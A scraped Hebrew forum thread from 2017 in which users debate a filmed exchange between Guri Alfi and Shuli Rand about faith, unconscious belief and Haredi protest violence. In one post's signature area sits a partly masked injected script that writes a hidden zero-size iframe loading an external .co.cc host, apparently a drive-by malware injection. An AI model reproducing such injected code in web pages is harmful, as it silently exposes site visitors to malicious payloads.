| נשלח ב-15/2/2017 08:36 |
 |
| |
גורי נגד וראנד בעד: תפיסת עולם שלא מדעת
באשכול מדף הספרים
http://www.bhol.co.il/forums/topic.asp?cat_id=24&topic_id=426378&whichpage=72&forum_id=1364#R_14
הביא אברם_העברי ויכוח מתומלל מיוטיוב בין שנים.
גורי אלפי, שהינו
https://he.wikipedia.org/wiki/%D7%92%D7%95%D7%A8%D7%99_%D7%90%D7%9C%D7%A4%D7%99
ושולי רנד שהינו
שלום (שולי) יוסף רנד (נולד ב-6 בפברואר 1962, ב' באדר א' ה'תשכ"ב), הוא שחקן, במאי, תסריטאי, מלחין, פזמונאי וזמר ישראלי. זוכה שני פרסי אופיר בשנים 1992 ו-2004 וזוכה בפרס למפעל חיים בתחום התרבות היהודית מטעם משרד החינוך לשנת 2016. רנד הוא אחד מהיוצרים הבולטים ביותר של תרבות יהודית מבעלי תשובה חרדיים המשפיעים על התרבות הישראלית הכללית. התסריט שכתב לסרט "האושפיזין" מהווה פריצת דרך של הקולנוע היהודי הדתי לזרם המרכזי. אלבום המוזיקה שהוציא, "נקודה טובה", הפך לאלבום פלטינה, לאחר שמכר בתוך כמה חודשים יותר מ-50,000 עותקים. רנד נשוי לבמאית והשחקנית מיכל בת שבע רנד ואב לשבעה. https://he.wikipedia.org/wiki/%D7%A9%D7%95%D7%9C%D7%99_%D7%A8%D7%A0%D7%93
לקמן הדברים המתומללים ודיון אודותיהם. הדיון מתארך וראוי לאשכול במקום לסתום את אשכול מדף הספרים.
 |
|
|
|
|
| נשלח ב-17/2/2017 07:51 |
|
| |
אברהם
כמה אחוזים שינוי מדעה מקובלת (ומהי דעה כזו) צריך בכדי לדעתצ שאינך מתוכנת?
אין אדם שאינו מתוכנת שאינו חושב כמו הרוב?
רק מי ששינה דעה ומחנה באופן קיצוני יש לו קבלות של היעדר תיכנות
|
|
|
|
| נשלח ב-16/2/2017 20:59 |
|
| |
אם תוכנתנו, לא היינו אמורים לכתוב פה, לא?!...
|
|
|
|
| נשלח ב-16/2/2017 20:20 |
|
| |
אברה
אתה (ואני) לא תוכנתו? מהי המידה?
|
|
|
|
| נשלח ב-16/2/2017 15:12 |
|
| |
"אידיאל כמניע" אמור להיות משהו שאדם מברר אותו עם עצמו ומחליט מבחירתו החופשית לעשות אותו - ולא משהו שהוא תוכנת אליו מגיל אפס (ע"ע הבכי ההמוני על מותו של מנהיג צפון קוריאה: www.youtube.com/watch?v=tZsVP2WoE9E)
אין לי כמובן דרך להוכיח את זה ומעולם לא דיברתי עם החבר'ה האלה, אבל עוד מעט אפתח את האשכול על האלימות החרדית בכלל, ובקונטקסט הזה נראה לי שיהיה יותר ברור האם מדובר ב'אידיאל' או פשוט במוטיב חוזר של צורך באקשן בחיים...
|
|
|
|
| נשלח ב-16/2/2017 14:09 |
|
| |
אברהם
שמעת פעם על אידיאל כמניע
|
|
|
|
| נשלח ב-16/2/2017 11:36 |
|
| |
| תלמידטועה כתב: |  | אברהם
לשם סקרנות: אתה מכיר אנשים מהמפגינים שאתה כה בטוח במניעיהם?
(שמעתי שגם חלוצי כינרת נהנו מהקשיים ושכול הילדים.....)
|
|
כך מקובלנו במדעי האדם (אנתרופולוגיה) - אין לך כל התנהגות והתנהגות של שבט אנושי, הזויה ככל שתהיה, שאין שכרה בצידה - ברמת הפרט (חיזוק האגו, השגת מעלה רוחנית וכו') או ברמת הכלל (חיזוק קשרים, הבטחת שליטה וכו') - לזה התכוונתי כשתבתי שהם "נהנים מזה".
וכידוע יש שבטים שעושים דברים מטורללים לגמרי לכאורה וקצת יותר קשים מלחטוף זרנוקי מים או אפילו לייבש ביצות (ראה למשל הרבה דוגמאות כאן וכאן - כאשר לנו יש כמובן את ברית המילה) - ולכל מנהג מזוכיסטי\סדיסטי כזה יש הסבר, שלא מניח שהם מטורפים...
|
|
|
|
| נשלח ב-16/2/2017 11:31 |
|
| |
| מיימוני כתב: | | ואצל רנד:
אין תשובה לשאלות. לא במישרין. חבל.
אבל יש כאן כמה אבחנות עמוקות ומרתקות.
אין כאן בכלל אבחנות. יש כמה הצהרות ילדותיות ובעיניי הן לא מרתקות כלל.
ראשית, לא צריך להסתכל רק על המילים התוקפניות לפעמים. צריך להסתכל על האדם. רנד טוען שגורי הוא יהודי שכבר יש לו אמונה ורצון להיות דתי. "לב בוער".
מהיכן הוא לוקח זאת? כאן מקומה של הפילוסופיה שלא מדעת.
אתה קובע שיש כאן פילוסופיה שלא מדעת . מהיכן היומרה המגוחכת לטעון עבור אחרים מה מסתתר מאחורי המילים ?
אילו היו שואלים אותי, הייתי עונה שהעיסוק בשאלות כאלו מעיד שזה חשוב, וזו התחלה טובה מאד. מי שמקשה על אלוקים הוא מישהו שאכפת לו.
סביר יותר להניח שכך מדבר מישהו שמתנגד לכפייה הדתית במדינה ומייחל להפרדת הדת מהמדינה.
אני משער שאצל רנד, שאם איני טועה הוא היום ברסלבר, זו גישתו של ר' נחמן. אין כזה דבר כופר. בכל יהודי יש ניצוץ, אפילו הרשע שברשעים. המקור של ר' נחמן הוא לצערי קבלי (דברי הכותב) אבל הוא עושה בהם שימוש מופלא לטובה.
ר' נחמן קבע דברים על סמך הדמיון שלו. זה ששולי רנד ממשיך לדמיין ולקבוע קביעות ילדותיות לא הופך אותן לנכונות.
ויש כאן טענה אונטולוגית שמוליכה לתפיסה של האדם יכולתו ותפקידו. כל אדם מסוגל לאמונה לא כי זה ענין של הוכחה פילוסופית אלא בגלל שהמנוע כבר בפנים. היכולת לעמוד בקשר עם אלוקים כבר אצלנו.
גם אתה מחליט דברים לא על סמך עובדות. במדינות קומוניסטיות אנשים נולדו למשפחות אתאיסטיות ולא ראינו שיש מנוע דתי שם בפנים שדחף את כולם חזרה אל הדת. גם פה במדינה יש אלפי משפחות של אתאיסטים שמגדלים ילדים שגדלים להיות אתאיסטים ולא ראינו שיש מנוע בפנים. הכל עניין של חינוך ושל דת השכונה.
בנוסף, מציג רנד, שוב, תפיסה חסידית אבל לא רק חסידית. הקב"ה נוכח איתנו אלא שהוא מסתתר מאיתנו. אבל ההשגחה שלו אחראית לכל. זו כבר תפיסה שאני לא בטוח שאני מצטרף אליהם. את האמירה שהקב"ה נוכח בכל אפשר להבין בצורות שונות. אחת מהן היא שיש הזדמנות לפגוש בו ולהתקרב אליו ואני מסכים. אחת מהן שאין בעצם בחירה אנושית כי הכל מוחלט בידי אלוקים, וזה מה שנקרא קוויטיזם, וזה מצוי בחסידויות מסויימות. איני יודע אם רנד מחזיק בגישה כזו. רק ציינתי אפשרויות פרשניות.
תפיסה אופטימית מאד של העולם הבא. נכון שהמקורות אומרים שה' מעניש וגם בתלמוד אמרו שמי שאומר שה' מוותר על עוונות יקבל עוד עונש מידה כנגד מידה. רנד, שוב בשיטה חסידית ברסלבית, מפרש מחדש. קודם כל צריך לדעת שה' אוהב אותנו. מה זה אומר שיקרה בעולם הבא? האם יתברר גם לאנשים שחושבים את עצמם לחוטאים ולא מאמינים, כמו גורי, יתברר שהם היו מאמינים וצדיקים שלא מדעת?
ואיך גורי הוא בעצם מאמין וצדיק? ובכן, הוא בנוי כזה (נסיך מאבנים טובות), וכל פושעי ישראל מלאים מצוות. יש המון מצוות שלא מדעת. בניגוד לרב אלחנן וסרמן, למשל, שהציג עמדה לפיה מי שאינו מאמין אפילו המצוות שלו חסרות ערך, כאן יש תפיסה הפוכה, אופטימית הרבה יותר: אין אדם שאין לו מצוה. האדם החילוני פשוט לא מודע לכמה טוב שהוא עושה וחושב. ובעולם הבא צפויה לו הפתעה נעימה. למשל, כל המצוות שלו הן לשם שמים כי לא ציפה לשכר שלא האמין בו.
כנ"ל
(מה יהיה עם הקביעה שמי שלא מאמין לא נוחל? ובכן, גורי לא ממש שולל זאת. הוא כותב בעצמו שאולי יהיה כך וכך בעולם הבא. ובאמת, כפי שאי אפשר להוכיח שיש, אי אפשר להוכיח שאין. לא במוחלט).
רנד כותב:
איפה שנגמר השכל – מתחילה האמונה!
איפה שנגמר השכל מתחילה הטיפשות ולא שום דבר אחר
ובכן, זו גישה עתיקה שמופיעה גם אצל אבות הכנסיה, אבל צריך לבדוק אותה בפני עצמה. זה נושא ארוך אז אני דוחה אותו לפעם אחרת.
בהמשך מעין עקיצה על התלות של בדרן ברייטינג ואיני יודע אם יש כאן גם יותר מזה. כלומר, יש כאן מוכנות נפשית להיות תלוי בזולת, שזה בחסידות עיקר בדת (ולא רק שם. יש פילוסוף בשם שליירמאכר שהציג זאת כבסיס לדת).
בלשון היום יומית החילונית אומרים אלוהי הרייטינג אלוהי האופנה אלוהי הרוק אלוהי הפופ כל אלה הן בסך הכל השאלות לשוניות שרק בעל תשובה מעז לעשות . כמובן שאין להשוואה הזאת לאל שבשמים שום משמעות .
ויש עוד מסרים:
אתה חיובי. אתה אמיץ. אתה רודף אמת. אתה מחפש.
הכל מתחיל ונגמר בדמיון
תשתמש בנתונים שלך כדי להתקרב. כי אתה יכול.
המציאות מוכיחה שאין נתונים במנוע
ואם תחפש, תראה שאתה מכיר את הקב"ה מבפנים, מתוך עצמך, מתוך התכונות המיוחדות שה' נתן לך.
כנ"ל
אפשר כמובן לחלוק על הגישה, אבל האם אין אלו דברים יפים ונפלאים?
נכון מאד. הרעיונות הילדותיים עתירי הדמיון הם תמיד יפים ונפלאים. כל מי שראה את הסרט ה"חיים יפים" שמתאר ילד משחק במחנה המוות יסכים עם הקביעה שלך.
והנראה לעניות דעתי כתבתי.
אכן זה המשפט המסכם: חננו מאיתך בינה ודעת. את הדמיון נשאיר בגן הילדים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-16/2/2017 09:41 |
|
| |
אברם העברי
פתח, פתח. רק תקפיד על מקורות, עובדות ומראי מקומות, ועל לשון נקיה, ולמה לא.
(אני סבור שזה פשוט לא נכון עובדתית, אבל מה אני יודע ומה אני מכיר ואין אומרים למי שלא ראה את הירח שיבוא ויעיד [לשון מתוך מחלוקת בתלמוד שמשמעה ש"לא ראיתי" אינה יכולה להיות ראיה]).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-16/2/2017 07:25 |
|
| |
אברהם
לשם סקרנות: אתה מכיר אנשים מהמפגינים שאתה כה בטוח במניעיהם?
(שמעתי שגם חלוצי כינרת נהנו מהקשיים ושכול הילדים.....)
|
|
|
|
| נשלח ב-15/2/2017 18:13 |
|
| |
ירובעל - האלימות היא חלק מהחוייה! צא וראה את הפגנות הסיקריקים (או לא יודע איך הם מוגדרים בדיוק) שמשפריצים עליהם מים, הולכים מכות וכו' - והם כנראה נהנים מזה. גם נוער הגבעות, להבדיל (?), שמח לקצת אקשן ואלימות שיש מאחוריו אידיאולוגיה קדושה - ולא לחינם טענו שני חוקרים חשובים (וולטר בורקרט + רנה ז'יראר ) שכל תופעת הקרבן אינה אלא תיעול של האלימות האנושית. אגב, אני שוקל לפתוח אשכול חדש שכותרתו "המגזר החרדי - הסקטור האלים ביותר בציבור היהודי בארץ ובעולם (הנתונים בפנים)" - אבל לא רוצה לעצבן סתם...
תוקן על ידי אברם_העברי ב- 15/02/2017 18:14:14
|
|
|
|
| נשלח ב-15/2/2017 16:46 |
|
| |
אברם,
על מנת לא לצייר קריקטורה מגורי, אפשר להבינו כטוען שחוייה המבוססת על עבודה בעיניים היא אמנם חוייה, אך במה היא שונה מחוייה המבוססת על כמיקלים? דווקא גורי ברמיזותיו על מרכיבים התנהגותיים של אלימות (לתלות יחד על עמוד חשמל) מצביע על התוצאה הבעייתית של חויית האמונה. גורי טוען להתנהגות בפועל גבוהה יותר ואילו שולי (בביטוי תינוק שנשבה) טוען לעליונות בכל המישורים. שמעתי קולות צהלה במחנה שולי - אך כמו החוייה עצמה גם אלה מבוססי דמיונות. אבל הנחמד באמונה דתית זה שלא ניתן להזיזה בטיעון.
|
|
|
|
| נשלח ב-15/2/2017 15:07 |
|
| |
תודה על האשכול, אכן לא היה קשור לאשכול הקודם...)
הניתוח של מיימוני מדויק! גם אם זה נראה כמו לשים בפה וכו', אבל כיוון שהדברים נכתבו הריהם ניתנים להידרש, כמו שיהודים עושים לכל טקסט שנופל לידם - אחרת מה אכפת לי מאיזה גורי או שולי דאיכא בשוקא?
מה שאני מזהה אצל שולי זה התשובה האולטימטיבית - אתה מקשה על ישות תיאורטית (אלהים), בעוד שאני מציע לך חוייה (אמונה) - מכיוון שהחוייה לעולם תגבר (אצל רוב האנשים), שולי מנצח...:) בנוסף, שולי עוקץ אותו (בפרשנות שלי) על זה שהוא לא חי לפי הפילוסופיה הגבוהה שלו (בהנחה שיש כזו) - אלא סתם בדרן בתוכניות בידור המוניות...
|
|
|
|
| נשלח ב-15/2/2017 14:03 |
|
| |
נו נו ..
תשובתו של שולי משקפת בדיוק את מה שקורה היום בתחום ההחזרה בתשובה.
0 התמודדות עם שאלות, פירגון(מתלקק) ונגינה על הרגש, איזה הנחתה שנונה, והופ יש לנו מתחזק.
|
|
|
|
| נשלח ב-15/2/2017 13:38 |
|
| |
קצת כמו מפגש ערכים או איזה סדנת גשר של קבוצות תיכוניסטים. ככלל נראה לי שניתן לייחס תפיסות עולם שלא מדעת על בסיס התנהגות. ובכלל איזו משמעות יש לתפיסות עולם ככל שהן דיבורים בעלמא? בסוף יש לנו התנהגותו של אדם המגלה לנו את ערכיו ואישיותו לאין שיעור יותר טוב מאמירותיו. קשה לנסח במדוייק את אמונותינו ותפיסות עולמנו וכל שכן שקשה הדבר לגבי אחרים. זה לא שתפיסות עולם אמיתיות או מדומות אינן מעניינות - זה שיש להן משמעות כמניעות לפעולה ולאו דוקא כקבוצת היגדים.
|
|
|
|
|
| נשלח ב-15/2/2017 10:44 |
|
| |
בקשת התנצלות
בכותרת קראתי לגורי בשמו הפרטי ולשולי בשם המשפחה שלו. יש חברות ותרבויות שבהן בחירה כזו מביעה זלזול. לא לכך נתכוונתי. חשבתי ש"גורי" זה שם משפחה (כמו חיים גורי, פייטן הפלמח). אני מתנצל: בפני גורי, בפני שולי, בפני כל מי שאולי נפגע או בודאי נפגע.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
